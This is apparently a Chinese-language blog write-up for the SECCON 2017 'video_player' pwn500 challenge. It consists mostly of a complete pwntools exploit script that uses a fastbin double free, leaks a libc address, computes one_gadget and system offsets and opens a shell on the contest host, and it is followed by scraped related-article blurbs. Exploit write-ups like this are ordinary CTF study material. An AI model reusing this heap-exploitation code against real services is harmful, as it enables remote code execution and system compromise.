感觉这个题目并不值500分,有些地方比较牵强,漏洞也比较明显,解题方法有多种,出题者把堆的布局随机化了,不过使用fastbin doublefree的话,可以完全忽视被打乱的堆。

 from pwn import *
#context.log_level='debug'
#wah
def newaudioclip(r, bitrate, length, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Audio Bitrate : ')
r.send(bitrate)
r.recvuntil('Audio Length (seconds) : ')
r.send(length)
r.recvuntil('Audio Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newvideoclip(r, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newmetadataclip(r, date, owner):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Date of Creation : ')
r.send(date)
r.recvuntil('Owner of video : ')
r.send(owner) def editvideoclip(r, inx, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Edit description : ')
r.send(description) def delclip(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) close = 0
def playvideoclip(r, inx):
global close
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
close = u64(final8)
print('leaked close is %x'%close) chunk = 0
def playvideoclip1(r, inx):
global chunk
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
chunk = u64(final8)
print('leaked chunk is %x'%chunk) def playvideoclip2(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) if 0:
ip = '127.0.0.1'
port = 10001
else:
ip = 'video_player.pwn.seccon.jp'
port = 7777 def getpid():
import time
exe = 'video_player'
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!') def pwnpwn():
r = remote(ip, port)
r.recvuntil('What is your movie name?')
getpid()
r.send('\x00'*0xff)
#newaudioclip(r, bitrate, length, data, description):
newaudioclip(r, p16(30), p32(0x50), '\x00', '\x00')
#
newvideoclip(r, p64(0), p32(0), p32(0x30), '\x00', '\x00')
editvideoclip(r, '', p64(0), p32(0), p32(0x50), '\x00', '\x00') delclip(r, '')
delclip(r, '') #
newvideoclip(r, p64(0), p32(0), p32(0x50), '\x00', '\x00') data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data, '\x00')
playvideoclip(r, '') #
close_offset = 0xF78B0
binsh_offset = 0x18CD17
system_offset = 0x45390
one_gadget_offset = 0xf1117
binsh = close - close_offset + binsh_offset
system = close - close_offset + system_offset
one_gadget = close - close_offset + one_gadget_offset
data1 = p64(0)*2+p64(one_gadget)
newmetadataclip(r, data1, '\x00'*0x1f) data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data2, '\x00')
playvideoclip1(r, '') raw_input('here')
data3 = p64(chunk)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
playvideoclip2(r, '')
r.interactive() pwnpwn()

Seccon2017-pwn500-video_player的更多相关文章

  1. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  2. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]

    上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfire插件.一步步很详细的介绍到简单插件开发,带Servlet的插件的开发.带JS ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. ZCTF-Pwn

    版权声明:本文为博主原创文章,未经博主允许不得转载.  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结. 文件打包:http://files.cnblogs.com ...

  5. 老司机教你下载tumblr上视频和图片的正确姿势

    本文面向初学者. 很多同学问我:“我非常想学Python编程,但是找不到兴趣点”. 还有的同学呢,找到了很好的兴趣点,但是无从下手,“玄魂老师,我想下载tumblr上的视频, 怎么下载,Python能 ...

  6. phpcms添加视频

    phpcms添加视频分为三种情况,一种是在首页播放,一种是在列表页播放,另一种是在内容页播放.其中在首页播放和在列表页播放的区别就是catid值是固定的还是取得当前catid的区别.而在首页和列表页播 ...

  7. openfire:基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件 上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfir ...

  8. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    原文:http://www.cnblogs.com/hoojo/archive/2013/03/29/openfire_plugin_chatlogs_plugin_.html 随笔-150  评论- ...

  9. HTML5 Video player jQuery plugin

    <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8&qu ...

  10. flutter packages.

    connectivity This plugin allows Flutter apps to discover network connectivity and configure themselv ...

随机推荐

  1. python3个人习惯的gitignore

    简介 就是普通的.gitignore # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C ext ...

  2. 单台centos7.3 虚拟机实现主从复制和哨兵集群

    环境: centos7.3一台 部署图: 从服务器配置: slaveof 哨兵配置: port sentinel monitor m1 127.0.0.1 6379 2 sentinel monito ...

  3. requireJs官方使用教程(转)

    原文地址:http://www.requirejs.cn § 1.使用 § 1.1 加载 JavaScript 文件 RequireJS的目标是鼓励代码的模块化,它使用了不同于传统<script ...

  4. spring-boot Web集群

    SpringBoot启动类增加注解 @EnableRedisHttpSession @SpringBootApplication @ImportResource({"classpath:co ...

  5. 基于ZooKeeper的服务注册中心

    本文介绍基于ZooKeeper的Dubbo服务注册中心的原理. 1.ZooKeeper中的节点 ZooKeeper是一个树形结构的目录服务,支持变更推送,因此非常适合作为Dubbo服务的注册中心. 注 ...

  6. ASP.NET Identity 2集成到MVC5项目--笔记01

    Identiry2是微软推出的Identity的升级版本,较之上一个版本更加易于扩展,总之更好用.如果需要具体细节.网上具体参考Identity2源代码下载 参考文章 在项目中,是不太想直接把这一堆堆 ...

  7. 粘性会话 session affinity sticky session requests from the same client to be passed to the same server in a group of servers

    Module ngx_http_upstream_module http://nginx.org/en/docs/http/ngx_http_upstream_module.html#sticky S ...

  8. 刚开始学Python,坚持下去

    嗯,刚开始学Python没几天,挺好的一门语言,十分简洁,也很好上手. 坚持下去,每天至少看一个小时的Python.

  9. 十個必用的 Vim Plugin

    ◎ The NERD Tree 操作 Vim 時,通常都在 Terminal 底下作用,無法像一般的 GUI    應用程式可以以樹狀目錄來瀏覽檔案. The NERD Tree    是一將檔案目錄 ...

  10. django-vue之信息过滤(过滤课程)

    一  vue前端代码 实现的内容,通过对课程的分类,在每个不同的课程分类下显示相应的内容 <template> <div class="course"> & ...